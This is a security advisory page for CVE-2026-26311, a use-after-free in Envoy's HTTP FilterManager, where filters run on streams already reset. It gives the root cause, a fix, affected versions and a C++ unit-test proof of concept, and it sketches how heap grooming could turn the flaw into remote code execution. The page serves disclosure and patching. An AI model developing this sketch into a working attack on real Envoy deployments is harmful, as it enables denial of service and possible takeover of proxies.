CVE-2026-26311: Envoy HTTP: filter chain execution on reset streams causing UAF crash

Published Mar 10, 2026
·
Updated

Note: This vulnerability was originally reported to the Google OSS VRP (Issue ID: 477542544). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.

Technical Details I have identified a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.

Mechanism: The vulnerability resides in source/common/http/filtermanager.cc within the FilterManager::decodeData method.

When an HTTP/2 stream encounters a reset condition (e.g., StreamIdleTimeout, OverloadManager limits, or a local reset triggered by a filter), Envoy calls onResetStream. This method: 1. Sets the internal state state.sawdownstreamreset = true. 2. Invokes onDestroy() on all filters in the chain (allowing them to release resources/pointers). 3. Schedules the ActiveStream object for deferred deletion (cleanup happens later in the event loop).

The Flaw: The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData.

FilterManager::decodeData fails to check the sawdownstreamreset flag. It iterates over the decoderfilters list and invokes decodeData() on filters that have already received onDestroy().

Root Cause Code Location: File: source/common/http/filtermanager.cc Function: FilterManager::decodeData

cpp void FilterManager::decodeData(...) { if (stopDecoderFilterChain()) { return; }

// Vulnerability: Missing check for state.sawdownstreamreset // Execution proceeds into the loop even if the stream is logically dead.

auto trailersaddedentry = decoderfilters.end(); for (; entry != decoderfilters.end(); entry++) { // ... calls (entry)->handle->decodeData(data) on destroyed filters ... } }

Suggested Fix: Add an explicit state check at the beginning of FilterManager::decodeData.

cpp // Prevent execution on streams that have been reset but not yet destroyed. if (state.sawdownstreamreset) { return; }

---

Impact Analysis

Who can exploit this: Any remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.

Impact & Gain: 1. Memory Corruption & Potential Remote Code Execution: While the immediate symptom is a crash (DoS), the underlying primitive is a Use-After-Free (CWE-416). Mechanism: When onDestroy() is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers. Exploitation: By forcing decodeData() to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the "Zombie" decodeData call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to Remote Code Execution (RCE). Risk Amplification: This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where onDestroy logic is relied upon for safety.

2. Security Control Bypass: The vulnerability defeats Envoy's "Fail-Closed" security architecture. Scenario: If a stream is reset due to a security violation (e.g., StreamIdleTimeout, OverloadManager rejection, or WAF triggering), this vulnerability allows the attacker to bypass the termination. Result: The attacker can force the processing of "Data" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.

---

Proof of Concept (Unit Test)

Description: The attached C++ unit test (zombiestreampoctest.cc) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's decodeData callback is invoked on the reset stream.

cpp #include "test/common/http/connmanagerimpltestbase.h" #include "gmock/gmock.h" #include "gtest/gtest.h"

using testing::; using testing::Invoke; using testing::NiceMock; using testing::Return;

namespace Envoy { namespace Http {

/ Proof of Concept for "Zombie Stream Filter Execution" (HTTP/2 Reset Re-entrancy) Logic flow: 1. Open a stream with HEADERS. 2. Force a stream reset (simulating an Overload or Timeout). 3. Immediately inject DATA into the stream. 4. ASSERT that the filter's decodeData is called despite the stream being reset. / class ZombieStreamPocTest : public HttpConnectionManagerImplTest { };

TESTF(ZombieStreamPocTest, ReproducedZombieFilterExecution) { setup(SetupOpts().setTracing(false));

// 1. Setup a mock filter std::sharedptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>()); // Vuln confirmation: // We expect decodeData to be called on this filter even though the stream is reset. // In a secure/patched implementation, this EXPECTCALL should fail (Times(0)). EXPECTCALL(filter, decodeData(, )) .Times(1) .WillOnce(Invoke(& -> FilterDataStatus { ENVOYLOGMISC(error, "!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!"); return FilterDataStatus::Continue; }));

EXPECTCALL(filter, decodeHeaders(, false)) .WillOnce(Return(FilterHeadersStatus::StopIteration));

// Register the filter EXPECTCALL(filterfactory, createFilterChain()) .WillOnce(Invoke(& -> bool { auto factory = createDecoderFilterFactoryCb(filter); callbacks.setFilterConfigName("vulnerablefilter"); factory(callbacks); return true; }));

// 2. Start the stream EXPECTCALL(codec, dispatch()) .WillOnce(Invoke(& -> Http::Status { decoder = &connmanager->newStream(responseencoder); RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{ {":authority", "host"}, {":path", "/"}, {":method", "POST"}}}; decoder->decodeHeaders(std::move(headers), false); return Http::okStatus(); }));

// Dispatch headers Buffer::OwnedImpl headerbuffer("headers"); connmanager->onData(headerbuffer, false);

// 3. Trigger a Reset on the ActiveStream // This simulates Envoy terminating the stream due to an external event (Overload, Timeout). auto activestream = dynamiccast<ConnectionManagerImpl::ActiveStream>(decoder); // This sets state.sawdownstreamreset = true and triggers filter->onDestroy() activestream->onResetStream(StreamResetReason::LocalReset, "simulatedoverload");

// 4. Attack: Send DATA to the "Zombie" stream // The ActiveStream object is still alive in the deferred delete list. Buffer::OwnedImpl maliciouspayload("attackerdata"); // This call reaches the filter because FilterManager::decodeData misses the check! activestream->decodeData(maliciouspayload, false); }

} // namespace Http } // namespace Envoy

Other sources

Envoy is a high-performance edge/middle/service proxy. Prior to 1.37.1, 1.36.5, 1.35.8, and 1.34.13, a logic vulnerability in Envoy's HTTP connection manager (FilterManager) that allows for Zombie Stream Filter Execution. This issue creates a "Use-After-Free" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up. The vulnerability resides in source/common/http/filtermanager.cc within the FilterManager::decodeData method. The ActiveStream object remains valid in memory during the deferred deletion window. If a DATA frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes ActiveStream::decodeData, which cascades to FilterManager::decodeData. FilterManager::decodeData fails to check the sawdownstreamreset flag. It iterates over the decoderfilters list and invokes decodeData() on filters that have already received onDestroy(). This vulnerability is fixed in 1.37.1, 1.36.5, 1.35.8, and 1.34.13.

MITRE

Affected Software

8 affected components
go/github.com/envoyproxy/envoy<=1.34.12
go/github.com/envoyproxy/envoy>=1.35.0<=1.35.8
go/github.com/envoyproxy/envoy>=1.36.0<=1.36.4
go/github.com/envoyproxy/envoy=1.37.0
Envoyproxy Envoy<1.34.13
Envoyproxy Envoy>=1.35.0<1.35.8
Envoyproxy Envoy>=1.36.0<1.36.5
Envoyproxy Envoy=1.37.0

Event History

Mar 10, 2026
Advisory Published
via GitHub·06:31 PM
Data Sourced
via GitHub·06:31 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·07:14 PM
Data Sourced
via MITRE·07:14 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-26311?

The severity of CVE-2026-26311 is classified as critical, indicating a significant risk to affected systems.

2

How do I fix CVE-2026-26311?

To fix CVE-2026-26311, update your Envoy version to 1.34.13 or newer, or within significant release ranges that address the vulnerability.

3

What versions of Envoy are affected by CVE-2026-26311?

CVE-2026-26311 affects Envoy versions up to 1.34.12, versions between 1.35.0 and 1.35.8, versions between 1.36.0 and 1.36.4, and exactly version 1.37.0.

4

What types of attacks can CVE-2026-26311 lead to?

CVE-2026-26311 can lead to an uncontrolled access to memory, resulting in a use-after-free (UAF) condition potentially causing application crashes.

5

Is CVE-2026-26311 remotely exploitable?

Yes, CVE-2026-26311 can be exploited remotely, potentially allowing attackers to impact the service availability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203